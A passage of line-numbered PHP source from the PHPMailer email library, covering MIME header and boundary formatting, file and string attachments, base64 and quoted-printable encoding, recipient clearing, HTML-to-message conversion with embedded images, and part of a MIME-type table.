9878 // RFC1341 part 5 says 7bit is assumed if not specified
9879 if ($encoding != '7bit') {
9880 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9881 }
9882 $result .= $this->LE;
9883
9884 return $result;
9885 }
9886
9887 /**
9888 * Return the end of a message boundary.
9889 * @access protected
9890 * @param string $boundary
9891 * @return string
9892 */
9893 protected function endBoundary($boundary)
9894 {
9895 return $this->LE . '--' . $boundary . '--' . $this->LE;
9896 }
9897
9898 /**
9899 * Set the message type.
9900 * PHPMailer only supports some preset message types,
9901 * not arbitrary MIME structures.
9902 * @access protected
9903 * @return void
9904 */
9905 protected function setMessageType()
9906 {
9907 $type = array();
9908 if ($this->alternativeExists()) {
9909 $type[] = 'alt';
9910 }
9911 if ($this->inlineImageExists()) {
9912 $type[] = 'inline';
9913 }
9914 if ($this->attachmentExists()) {
9915 $type[] = 'attach';
9916 }
9917 $this->message_type = implode('_', $type);
9918 if ($this->message_type == '') {
9919 $this->message_type = 'plain';
9920 }
9921 }
9922
9923 /**
9924 * Format a header line.
9925 * @access public
9926 * @param string $name
9927 * @param string $value
9928 * @return string
9929 */
9930 public function headerLine($name, $value)
9931 {
9932 return $name . ': ' . $value . $this->LE;
9933 }
9934
9935 /**
9936 * Return a formatted mail line.
9937 * @access public
9938 * @param string $value
9939 * @return string
9940 */
9941 public function textLine($value)
9942 {
9943 return $value . $this->LE;
9944 }
9945
9946 /**
9947 * Add an attachment from a path on the filesystem.
9948 * Returns false if the file could not be found or read.
9949 * @param string $path Path to the attachment.
9950 * @param string $name Overrides the attachment name.
9951 * @param string $encoding File encoding (see $Encoding).
9952 * @param string $type File extension (MIME) type.
9953 * @param string $disposition Disposition to use
9954 * @throws phpmailerException
9955 * @return boolean
9956 */
9957 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
9958 {
9959 try {
9960 if (!@is_file($path)) {
9961 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
9962 }
9963
9964 // If a MIME type is not specified, try to work it out from the file name
9965 if ($type == '') {
9966 $type = self::filenameToType($path);
9967 }
9968
9969 $filename = basename($path);
9970 if ($name == '') {
9971 $name = $filename;
9972 }
9973
9974 $this->attachment[] = array(
9975 0 => $path,
9976 1 => $filename,
9977 2 => $name,
9978 3 => $encoding,
9979 4 => $type,
9980 5 => false, // isStringAttachment
9981 6 => $disposition,
9982 7 => 0
9983 );
9984
9985 } catch (phpmailerException $exc) {
9986 $this->setError($exc->getMessage());
9987 $this->edebug($exc->getMessage());
9988 if ($this->exceptions) {
9989 throw $exc;
9990 }
9991 return false;
9992 }
9993 return true;
9994 }
9995
9996 /**
9997 * Return the array of attachments.
9998 * @return array
9999 */
10000 public function getAttachments()
10001 {
10002 return $this->attachment;
10003 }
10004
10005 /**
10006 * Attach all file, string, and binary attachments to the message.
10007 * Returns an empty string on failure.
10008 * @access protected
10009 * @param string $disposition_type
10010 * @param string $boundary
10011 * @return string
10012 */
10013 protected function attachAll($disposition_type, $boundary)
10014 {
10015 // Return text of body
10016 $mime = array();
10017 $cidUniq = array();
10018 $incl = array();
10019
10020 // Add all attachments
10021 foreach ($this->attachment as $attachment) {
10022 // Check if it is a valid disposition_filter
10023 if ($attachment[6] == $disposition_type) {
10024 // Check for string attachment
10025 $string = '';
10026 $path = '';
10027 $bString = $attachment[5];
10028 if ($bString) {
10029 $string = $attachment[0];
10030 } else {
10031 $path = $attachment[0];
10032 }
10033
10034 $inclhash = md5(serialize($attachment));
10035 if (in_array($inclhash, $incl)) {
10036 continue;
10037 }
10038 $incl[] = $inclhash;
10039 $name = $attachment[2];
10040 $encoding = $attachment[3];
10041 $type = $attachment[4];
10042 $disposition = $attachment[6];
10043 $cid = $attachment[7];
10044 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
10045 continue;
10046 }
10047 $cidUniq[$cid] = true;
10048
10049 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
10050 $mime[] = sprintf(
10051 'Content-Type: %s; name="%s"%s',
10052 $type,
10053 $this->encodeHeader($this->secureHeader($name)),
10054 $this->LE
10055 );
10056 // RFC1341 part 5 says 7bit is assumed if not specified
10057 if ($encoding != '7bit') {
10058 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10059 }
10060
10061 if ($disposition == 'inline') {
10062 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10063 }
10064
10065 // If a filename contains any of these chars, it should be quoted,
10066 // but not otherwise: RFC2183 & RFC2045 5.1
10067 // Fixes a warning in IETF's msglint MIME checker
10068 // Allow for bypassing the Content-Disposition header totally
10069 if (!(empty($disposition))) {
10070 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10071 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10072 $mime[] = sprintf(
10073 'Content-Disposition: %s; filename="%s"%s',
10074 $disposition,
10075 $encoded_name,
10076 $this->LE . $this->LE
10077 );
10078 } else {
10079 $mime[] = sprintf(
10080 'Content-Disposition: %s; filename=%s%s',
10081 $disposition,
10082 $encoded_name,
10083 $this->LE . $this->LE
10084 );
10085 }
10086 } else {
10087 $mime[] = $this->LE;
10088 }
10089
10090 // Encode as string attachment
10091 if ($bString) {
10092 $mime[] = $this->encodeString($string, $encoding);
10093 if ($this->isError()) {
10094 return '';
10095 }
10096 $mime[] = $this->LE . $this->LE;
10097 } else {
10098 $mime[] = $this->encodeFile($path, $encoding);
10099 if ($this->isError()) {
10100 return '';
10101 }
10102 $mime[] = $this->LE . $this->LE;
10103 }
10104 }
10105 }
10106
10107 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10108
10109 return implode('', $mime);
10110 }
10111
10112 /**
10113 * Encode a file attachment in requested format.
10114 * Returns an empty string on failure.
10115 * @param string $path The full path to the file
10116 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10117 * @throws phpmailerException
10118 * @see EncodeFile(encodeFile
10119 * @access protected
10120 * @return string
10121 */
10122 protected function encodeFile($path, $encoding = 'base64')
10123 {
10124 try {
10125 if (!is_readable($path)) {
10126 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10127 }
10128 $magic_quotes = get_magic_quotes_runtime();
10129 if ($magic_quotes) {
10130 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10131 set_magic_quotes_runtime(false);
10132 } else {
10133 //Doesn't exist in PHP 5.4, but we don't need to check because
10134 //get_magic_quotes_runtime always returns false in 5.4+
10135 //so it will never get here
10136 ini_set('magic_quotes_runtime', 0);
10137 }
10138 }
10139 $file_buffer = file_get_contents($path);
10140 $file_buffer = $this->encodeString($file_buffer, $encoding);
10141 if ($magic_quotes) {
10142 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10143 set_magic_quotes_runtime($magic_quotes);
10144 } else {
10145 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10146 }
10147 }
10148 return $file_buffer;
10149 } catch (Exception $exc) {
10150 $this->setError($exc->getMessage());
10151 return '';
10152 }
10153 }
10154
10155 /**
10156 * Encode a string in requested format.
10157 * Returns an empty string on failure.
10158 * @param string $str The text to encode
10159 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10160 * @access public
10161 * @return string
10162 */
10163 public function encodeString($str, $encoding = 'base64')
10164 {
10165 $encoded = '';
10166 switch (strtolower($encoding)) {
10167 case 'base64':
10168 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10169 break;
10170 case '7bit':
10171 case '8bit':
10172 $encoded = $this->fixEOL($str);
10173 // Make sure it ends with a line break
10174 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10175 $encoded .= $this->LE;
10176 }
10177 break;
10178 case 'binary':
10179 $encoded = $str;
10180 break;
10181 case 'quoted-printable':
10182 $encoded = $this->encodeQP($str);
10183 break;
10184 default:
10185 $this->setError($this->lang('encoding') . $encoding);
10186 break;
10187 }
10188 return $encoded;
10189 }
10190
10191 /**
10192 * Encode a header string optimally.
10193 * Picks shortest of Q, B, quoted-printable or none.
10194 * @access public
10195 * @param string $str
10196 * @param string $position
10197 * @return string
10198 */
10199 public function encodeHeader($str, $position = 'text')
10200 {
10201 $matchcount = 0;
10202 switch (strtolower($position)) {
10203 case 'phrase':
10204 if (!preg_match('/[\200-\377]/', $str)) {
10205 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10206 $encoded = addcslashes($str, "\0..\37\177\\\"");
10207 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10208 return ($encoded);
10209 } else {
10210 return ("\"$encoded\"");
10211 }
10212 }
10213 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10214 break;
10215 /** @noinspection PhpMissingBreakStatementInspection */
10216 case 'comment':
10217 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10218 // Intentional fall-through
10219 case 'text':
10220 default:
10221 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10222 break;
10223 }
10224
10225 if ($matchcount == 0) { // There are no chars that need encoding
10226 return ($str);
10227 }
10228
10229 $maxlen = 75 - 7 - strlen($this->CharSet);
10230 // Try to select the encoding which should produce the shortest output
10231 if ($matchcount > strlen($str) / 3) {
10232 // More than a third of the content will need encoding, so B encoding will be most efficient
10233 $encoding = 'B';
10234 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10235 // Use a custom function which correctly encodes and wraps long
10236 // multibyte strings without breaking lines within a character
10237 $encoded = $this->base64EncodeWrapMB($str, "\n");
10238 } else {
10239 $encoded = base64_encode($str);
10240 $maxlen -= $maxlen % 4;
10241 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10242 }
10243 } else {
10244 $encoding = 'Q';
10245 $encoded = $this->encodeQ($str, $position);
10246 $encoded = $this->wrapText($encoded, $maxlen, true);
10247 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10248 }
10249
10250 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10251 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10252
10253 return $encoded;
10254 }
10255
10256 /**
10257 * Check if a string contains multi-byte characters.
10258 * @access public
10259 * @param string $str multi-byte text to wrap encode
10260 * @return boolean
10261 */
10262 public function hasMultiBytes($str)
10263 {
10264 if (function_exists('mb_strlen')) {
10265 return (strlen($str) > mb_strlen($str, $this->CharSet));
10266 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10267 return false;
10268 }
10269 }
10270
10271 /**
10272 * Does a string contain any 8-bit chars (in any charset)?
10273 * @param string $text
10274 * @return boolean
10275 */
10276 public function has8bitChars($text)
10277 {
10278 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10279 }
10280
10281 /**
10282 * Encode and wrap long multibyte strings for mail headers
10283 * without breaking lines within a character.
10284 * Adapted from a function by paravoid
10285 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10286 * @access public
10287 * @param string $str multi-byte text to wrap encode
10288 * @param string $linebreak string to use as linefeed/end-of-line
10289 * @return string
10290 */
10291 public function base64EncodeWrapMB($str, $linebreak = null)
10292 {
10293 $start = '=?' . $this->CharSet . '?B?';
10294 $end = '?=';
10295 $encoded = '';
10296 if ($linebreak === null) {
10297 $linebreak = $this->LE;
10298 }
10299
10300 $mb_length = mb_strlen($str, $this->CharSet);
10301 // Each line must have length <= 75, including $start and $end
10302 $length = 75 - strlen($start) - strlen($end);
10303 // Average multi-byte ratio
10304 $ratio = $mb_length / strlen($str);
10305 // Base64 has a 4:3 ratio
10306 $avgLength = floor($length * $ratio * .75);
10307
10308 for ($i = 0; $i < $mb_length; $i += $offset) {
10309 $lookBack = 0;
10310 do {
10311 $offset = $avgLength - $lookBack;
10312 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10313 $chunk = base64_encode($chunk);
10314 $lookBack++;
10315 } while (strlen($chunk) > $length);
10316 $encoded .= $chunk . $linebreak;
10317 }
10318
10319 // Chomp the last linefeed
10320 $encoded = substr($encoded, 0, -strlen($linebreak));
10321 return $encoded;
10322 }
10323
10324 /**
10325 * Encode a string in quoted-printable format.
10326 * According to RFC2045 section 6.7.
10327 * @access public
10328 * @param string $string The text to encode
10329 * @param integer $line_max Number of chars allowed on a line before wrapping
10330 * @return string
10331 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10332 */
10333 public function encodeQP($string, $line_max = 76)
10334 {
10335 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10336 return $this->fixEOL(quoted_printable_encode($string));
10337 }
10338 // Fall back to a pure PHP implementation
10339 $string = str_replace(
10340 array('%20', '%0D%0A.', '%0D%0A', '%'),
10341 array(' ', "\r\n=2E", "\r\n", '='),
10342 rawurlencode($string)
10343 );
10344 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10345 return $this->fixEOL($string);
10346 }
10347
10348 /**
10349 * Backward compatibility wrapper for an old QP encoding function that was removed.
10350 * @see PHPMailer::encodeQP()
10351 * @access public
10352 * @param string $string
10353 * @param integer $line_max
10354 * @param boolean $space_conv
10355 * @return string
10356 * @deprecated Use encodeQP instead.
10357 */
10358 public function encodeQPphp(
10359 $string,
10360 $line_max = 76,
10361 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10362 ) {
10363 return $this->encodeQP($string, $line_max);
10364 }
10365
10366 /**
10367 * Encode a string using Q encoding.
10368 * @link http://tools.ietf.org/html/rfc2047
10369 * @param string $str the text to encode
10370 * @param string $position Where the text is going to be used, see the RFC for what that means
10371 * @access public
10372 * @return string
10373 */
10374 public function encodeQ($str, $position = 'text')
10375 {
10376 // There should not be any EOL in the string
10377 $pattern = '';
10378 $encoded = str_replace(array("\r", "\n"), '', $str);
10379 switch (strtolower($position)) {
10380 case 'phrase':
10381 // RFC 2047 section 5.3
10382 $pattern = '^A-Za-z0-9!*+\/ -';
10383 break;
10384 /** @noinspection PhpMissingBreakStatementInspection */
10385 case 'comment':
10386 // RFC 2047 section 5.2
10387 $pattern = '\(\)"';
10388 // intentional fall-through
10389 // for this reason we build the $pattern without including delimiters and []
10390 case 'text':
10391 default:
10392 // RFC 2047 section 5.1
10393 // Replace every high ascii, control, =, ? and _ characters
10394 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10395 break;
10396 }
10397 $matches = array();
10398 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10399 // If the string contains an '=', make sure it's the first thing we replace
10400 // so as to avoid double-encoding
10401 $eqkey = array_search('=', $matches[0]);
10402 if (false !== $eqkey) {
10403 unset($matches[0][$eqkey]);
10404 array_unshift($matches[0], '=');
10405 }
10406 foreach (array_unique($matches[0]) as $char) {
10407 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10408 }
10409 }
10410 // Replace every spaces to _ (more readable than =20)
10411 return str_replace(' ', '_', $encoded);
10412 }
10413
10414
10415 /**
10416 * Add a string or binary attachment (non-filesystem).
10417 * This method can be used to attach ascii or binary data,
10418 * such as a BLOB record from a database.
10419 * @param string $string String attachment data.
10420 * @param string $filename Name of the attachment.
10421 * @param string $encoding File encoding (see $Encoding).
10422 * @param string $type File extension (MIME) type.
10423 * @param string $disposition Disposition to use
10424 * @return void
10425 */
10426 public function addStringAttachment(
10427 $string,
10428 $filename,
10429 $encoding = 'base64',
10430 $type = '',
10431 $disposition = 'attachment'
10432 ) {
10433 // If a MIME type is not specified, try to work it out from the file name
10434 if ($type == '') {
10435 $type = self::filenameToType($filename);
10436 }
10437 // Append to $attachment array
10438 $this->attachment[] = array(
10439 0 => $string,
10440 1 => $filename,
10441 2 => basename($filename),
10442 3 => $encoding,
10443 4 => $type,
10444 5 => true, // isStringAttachment
10445 6 => $disposition,
10446 7 => 0
10447 );
10448 }
10449
10450 /**
10451 * Add an embedded (inline) attachment from a file.
10452 * This can include images, sounds, and just about any other document type.
10453 * These differ from 'regular' attachments in that they are intended to be
10454 * displayed inline with the message, not just attached for download.
10455 * This is used in HTML messages that embed the images
10456 * the HTML refers to using the $cid value.
10457 * @param string $path Path to the attachment.
10458 * @param string $cid Content ID of the attachment; Use this to reference
10459 * the content when using an embedded image in HTML.
10460 * @param string $name Overrides the attachment name.
10461 * @param string $encoding File encoding (see $Encoding).
10462 * @param string $type File MIME type.
10463 * @param string $disposition Disposition to use
10464 * @return boolean True on successfully adding an attachment
10465 */
10466 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10467 {
10468 if (!@is_file($path)) {
10469 $this->setError($this->lang('file_access') . $path);
10470 return false;
10471 }
10472
10473 // If a MIME type is not specified, try to work it out from the file name
10474 if ($type == '') {
10475 $type = self::filenameToType($path);
10476 }
10477
10478 $filename = basename($path);
10479 if ($name == '') {
10480 $name = $filename;
10481 }
10482
10483 // Append to $attachment array
10484 $this->attachment[] = array(
10485 0 => $path,
10486 1 => $filename,
10487 2 => $name,
10488 3 => $encoding,
10489 4 => $type,
10490 5 => false, // isStringAttachment
10491 6 => $disposition,
10492 7 => $cid
10493 );
10494 return true;
10495 }
10496
10497 /**
10498 * Add an embedded stringified attachment.
10499 * This can include images, sounds, and just about any other document type.
10500 * Be sure to set the $type to an image type for images:
10501 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10502 * @param string $string The attachment binary data.
10503 * @param string $cid Content ID of the attachment; Use this to reference
10504 * the content when using an embedded image in HTML.
10505 * @param string $name
10506 * @param string $encoding File encoding (see $Encoding).
10507 * @param string $type MIME type.
10508 * @param string $disposition Disposition to use
10509 * @return boolean True on successfully adding an attachment
10510 */
10511 public function addStringEmbeddedImage(
10512 $string,
10513 $cid,
10514 $name = '',
10515 $encoding = 'base64',
10516 $type = '',
10517 $disposition = 'inline'
10518 ) {
10519 // If a MIME type is not specified, try to work it out from the name
10520 if ($type == '') {
10521 $type = self::filenameToType($name);
10522 }
10523
10524 // Append to $attachment array
10525 $this->attachment[] = array(
10526 0 => $string,
10527 1 => $name,
10528 2 => $name,
10529 3 => $encoding,
10530 4 => $type,
10531 5 => true, // isStringAttachment
10532 6 => $disposition,
10533 7 => $cid
10534 );
10535 return true;
10536 }
10537
10538 /**
10539 * Check if an inline attachment is present.
10540 * @access public
10541 * @return boolean
10542 */
10543 public function inlineImageExists()
10544 {
10545 foreach ($this->attachment as $attachment) {
10546 if ($attachment[6] == 'inline') {
10547 return true;
10548 }
10549 }
10550 return false;
10551 }
10552
10553 /**
10554 * Check if an attachment (non-inline) is present.
10555 * @return boolean
10556 */
10557 public function attachmentExists()
10558 {
10559 foreach ($this->attachment as $attachment) {
10560 if ($attachment[6] == 'attachment') {
10561 return true;
10562 }
10563 }
10564 return false;
10565 }
10566
10567 /**
10568 * Check if this message has an alternative body set.
10569 * @return boolean
10570 */
10571 public function alternativeExists()
10572 {
10573 return !empty($this->AltBody);
10574 }
10575
10576 /**
10577 * Clear all To recipients.
10578 * @return void
10579 */
10580 public function clearAddresses()
10581 {
10582 foreach ($this->to as $to) {
10583 unset($this->all_recipients[strtolower($to[0])]);
10584 }
10585 $this->to = array();
10586 }
10587
10588 /**
10589 * Clear all CC recipients.
10590 * @return void
10591 */
10592 public function clearCCs()
10593 {
10594 foreach ($this->cc as $cc) {
10595 unset($this->all_recipients[strtolower($cc[0])]);
10596 }
10597 $this->cc = array();
10598 }
10599
10600 /**
10601 * Clear all BCC recipients.
10602 * @return void
10603 */
10604 public function clearBCCs()
10605 {
10606 foreach ($this->bcc as $bcc) {
10607 unset($this->all_recipients[strtolower($bcc[0])]);
10608 }
10609 $this->bcc = array();
10610 }
10611
10612 /**
10613 * Clear all ReplyTo recipients.
10614 * @return void
10615 */
10616 public function clearReplyTos()
10617 {
10618 $this->ReplyTo = array();
10619 }
10620
10621 /**
10622 * Clear all recipient types.
10623 * @return void
10624 */
10625 public function clearAllRecipients()
10626 {
10627 $this->to = array();
10628 $this->cc = array();
10629 $this->bcc = array();
10630 $this->all_recipients = array();
10631 }
10632
10633 /**
10634 * Clear all filesystem, string, and binary attachments.
10635 * @return void
10636 */
10637 public function clearAttachments()
10638 {
10639 $this->attachment = array();
10640 }
10641
10642 /**
10643 * Clear all custom headers.
10644 * @return void
10645 */
10646 public function clearCustomHeaders()
10647 {
10648 $this->CustomHeader = array();
10649 }
10650
10651 /**
10652 * Add an error message to the error container.
10653 * @access protected
10654 * @param string $msg
10655 * @return void
10656 */
10657 protected function setError($msg)
10658 {
10659 $this->error_count++;
10660 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10661 $lasterror = $this->smtp->getError();
10662 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10663 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10664 }
10665 }
10666 $this->ErrorInfo = $msg;
10667 }
10668
10669 /**
10670 * Return an RFC 822 formatted date.
10671 * @access public
10672 * @return string
10673 * @static
10674 */
10675 public static function rfcDate()
10676 {
10677 // Set the time zone to whatever the default is to avoid 500 errors
10678 // Will default to UTC if it's not set properly in php.ini
10679 date_default_timezone_set(@date_default_timezone_get());
10680 return date('D, j M Y H:i:s O');
10681 }
10682
10683 /**
10684 * Get the server hostname.
10685 * Returns 'localhost.localdomain' if unknown.
10686 * @access protected
10687 * @return string
10688 */
10689 protected function serverHostname()
10690 {
10691 $result = 'localhost.localdomain';
10692 if (!empty($this->Hostname)) {
10693 $result = $this->Hostname;
10694 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10695 $result = $_SERVER['SERVER_NAME'];
10696 } elseif (function_exists('gethostname') && gethostname() !== false) {
10697 $result = gethostname();
10698 } elseif (php_uname('n') !== false) {
10699 $result = php_uname('n');
10700 }
10701 return $result;
10702 }
10703
10704 /**
10705 * Get an error message in the current language.
10706 * @access protected
10707 * @param string $key
10708 * @return string
10709 */
10710 protected function lang($key)
10711 {
10712 if (count($this->language) < 1) {
10713 $this->setLanguage('en'); // set the default language
10714 }
10715
10716 if (isset($this->language[$key])) {
10717 return $this->language[$key];
10718 } else {
10719 return 'Language string failed to load: ' . $key;
10720 }
10721 }
10722
10723 /**
10724 * Check if an error occurred.
10725 * @access public
10726 * @return boolean True if an error did occur.
10727 */
10728 public function isError()
10729 {
10730 return ($this->error_count > 0);
10731 }
10732
10733 /**
10734 * Ensure consistent line endings in a string.
10735 * Changes every end of line from CRLF, CR or LF to $this->LE.
10736 * @access public
10737 * @param string $str String to fixEOL
10738 * @return string
10739 */
10740 public function fixEOL($str)
10741 {
10742 // Normalise to \n
10743 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10744 // Now convert LE as needed
10745 if ($this->LE !== "\n") {
10746 $nstr = str_replace("\n", $this->LE, $nstr);
10747 }
10748 return $nstr;
10749 }
10750
10751 /**
10752 * Add a custom header.
10753 * $name value can be overloaded to contain
10754 * both header name and value (name:value)
10755 * @access public
10756 * @param string $name Custom header name
10757 * @param string $value Header value
10758 * @return void
10759 */
10760 public function addCustomHeader($name, $value = null)
10761 {
10762 if ($value === null) {
10763 // Value passed in as name:value
10764 $this->CustomHeader[] = explode(':', $name, 2);
10765 } else {
10766 $this->CustomHeader[] = array($name, $value);
10767 }
10768 }
10769
10770 /**
10771 * Create a message from an HTML string.
10772 * Automatically makes modifications for inline images and backgrounds
10773 * and creates a plain-text version by converting the HTML.
10774 * Overwrites any existing values in $this->Body and $this->AltBody
10775 * @access public
10776 * @param string $message HTML message string
10777 * @param string $basedir baseline directory for path
10778 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10779 * or your own custom converter @see html2text()
10780 * @return string $message
10781 */
10782 public function msgHTML($message, $basedir = '', $advanced = false)
10783 {
10784 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10785 if (isset($images[2])) {
10786 foreach ($images[2] as $imgindex => $url) {
10787 // Convert data URIs into embedded images
10788 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10789 $data = substr($url, strpos($url, ','));
10790 if ($match[2]) {
10791 $data = base64_decode($data);
10792 } else {
10793 $data = rawurldecode($data);
10794 }
10795 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10796 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10797 $message = str_replace(
10798 $images[0][$imgindex],
10799 $images[1][$imgindex] . '="cid:' . $cid . '"',
10800 $message
10801 );
10802 }
10803 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10804 // Do not change urls for absolute images (thanks to corvuscorax)
10805 $filename = basename($url);
10806 $directory = dirname($url);
10807 if ($directory == '.') {
10808 $directory = '';
10809 }
10810 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10811 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10812 $basedir .= '/';
10813 }
10814 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10815 $directory .= '/';
10816 }
10817 if ($this->addEmbeddedImage(
10818 $basedir . $directory . $filename,
10819 $cid,
10820 $filename,
10821 'base64',
10822 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10823 )
10824 ) {
10825 $message = preg_replace(
10826 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10827 $images[1][$imgindex] . '="cid:' . $cid . '"',
10828 $message
10829 );
10830 }
10831 }
10832 }
10833 }
10834 $this->isHTML(true);
10835 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
10836 $this->Body = $this->normalizeBreaks($message);
10837 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10838 if (empty($this->AltBody)) {
10839 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10840 self::CRLF . self::CRLF;
10841 }
10842 return $this->Body;
10843 }
10844
10845 /**
10846 * Convert an HTML string into plain text.
10847 * This is used by msgHTML().
10848 * Note - older versions of this function used a bundled advanced converter
10849 * which was been removed for license reasons in #232
10850 * Example usage:
10851 * <code>
10852 * // Use default conversion
10853 * $plain = $mail->html2text($html);
10854 * // Use your own custom converter
10855 * $plain = $mail->html2text($html, function($html) {
10856 * $converter = new MyHtml2text($html);
10857 * return $converter->get_text();
10858 * });
10859 * </code>
10860 * @param string $html The HTML text to convert
10861 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10862 * or provide your own callable for custom conversion.
10863 * @return string
10864 */
10865 public function html2text($html, $advanced = false)
10866 {
10867 if (is_callable($advanced)) {
10868 return call_user_func($advanced, $html);
10869 }
10870 return html_entity_decode(
10871 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10872 ENT_QUOTES,
10873 $this->CharSet
10874 );
10875 }
10876
10877 /**
10878 * Get the MIME type for a file extension.
10879 * @param string $ext File extension
10880 * @access public
10881 * @return string MIME type of file.
10882 * @static
10883 */
10884 public static function _mime_types($ext = '')
10885 {
10886 $mimes = array(
10887 'xl' => 'application/excel',
10888 'js' => 'application/javascript',
10889 'hqx' => 'application/mac-binhex40',
10890 'cpt' => 'application/mac-compactpro',
10891 'bin' => 'application/macbinary',
10892 'doc' => 'application/msword',
10893 'word' => 'application/msword',
10894 'class' => 'application/octet-stream',
10895 'dll' => 'application/octet-stream',
10896 'dms' => 'application/octet-stream',
10897 'exe' => 'application/octet-stream',
10898 'lha' => 'application/octet-stream',
10899 'lzh' => 'application/octet-stream',
10900 'psd' => 'application/octet-stream',
10901 'sea' => 'application/octet-stream',
10902 'so' => 'application/octet-stream',
10903 'oda' => 'application/oda',
10904 'pdf' => 'application/pdf',
10905 'ai' => 'application/postscript',
10906 'eps' => 'application/postscript',
10907 'ps' => 'application/postscript',
10908 'smi' => 'application/smil',
10909 'smil' => 'application/smil',
10910 'mif' => 'application/vnd.mif',
10911 'xls' => 'application/vnd.ms-excel',
10912 'ppt' => 'application/vnd.ms-powerpoint',
10913 'wbxml' => 'application/vnd.wap.wbxml',
10914 'wmlc' => 'application/vnd.wap.wmlc',
10915 'dcr' => 'application/x-director',
10916 'dir' => 'application/x-director',
10917 'dxr' => 'application/x-director',
10918 'dvi' => 'application/x-dvi',
10919 'gtar' => 'application/x-gtar',
10920 'php3' => 'application/x-httpd-php',
10921 'php4' => 'application/x-httpd-php',
10922 'php' => 'application/x-httpd-php',
10923 'phtml' => 'application/x-httpd-php',
10924 'phps' => 'application/x-httpd-php-source',
10925 'swf' => 'application/x-shockwave-flash',
10926 'sit' => 'application/x-stuffit',
10927 'tar' => 'application/x-tar',
10928 'tgz' => 'application/x-tar',
10929 'xht' => 'application/xhtml+xml',
10930 'xhtml' => 'application/xhtml+xml',
10931 'zip' => 'application/zip',
10932 'mid' => 'audio/midi',
10933 'midi' => 'audio/midi',
10934 'mp2' => 'audio/mpeg',
10935 'mp3' => 'audio/mpeg',
10936 'mpga' => 'audio/mpeg',
10937 'aif' => 'audio/x-aiff',
10938 'aifc' => 'audio/x-aiff',
10939 'aiff' => 'audio/x-aiff',
10940 'ram' => 'audio/x-pn-realaudio',
10941 'rm' => 'audio/x-pn-realaudio',
10942 'rpm' => 'audio/x-pn-realaudio-plugin',
10943 'ra' => 'audio/x-realaudio',
10944 'wav' => 'audio/x-wav',
10945 'bmp' => 'image/bmp',
10946 'gif' => 'image/gif',
10947 'jpeg' => 'image/jpeg',
10948 'jpe' => 'image/jpeg',
10949 'jpg' => 'image/jpeg',
10950 'png' => 'image/png',
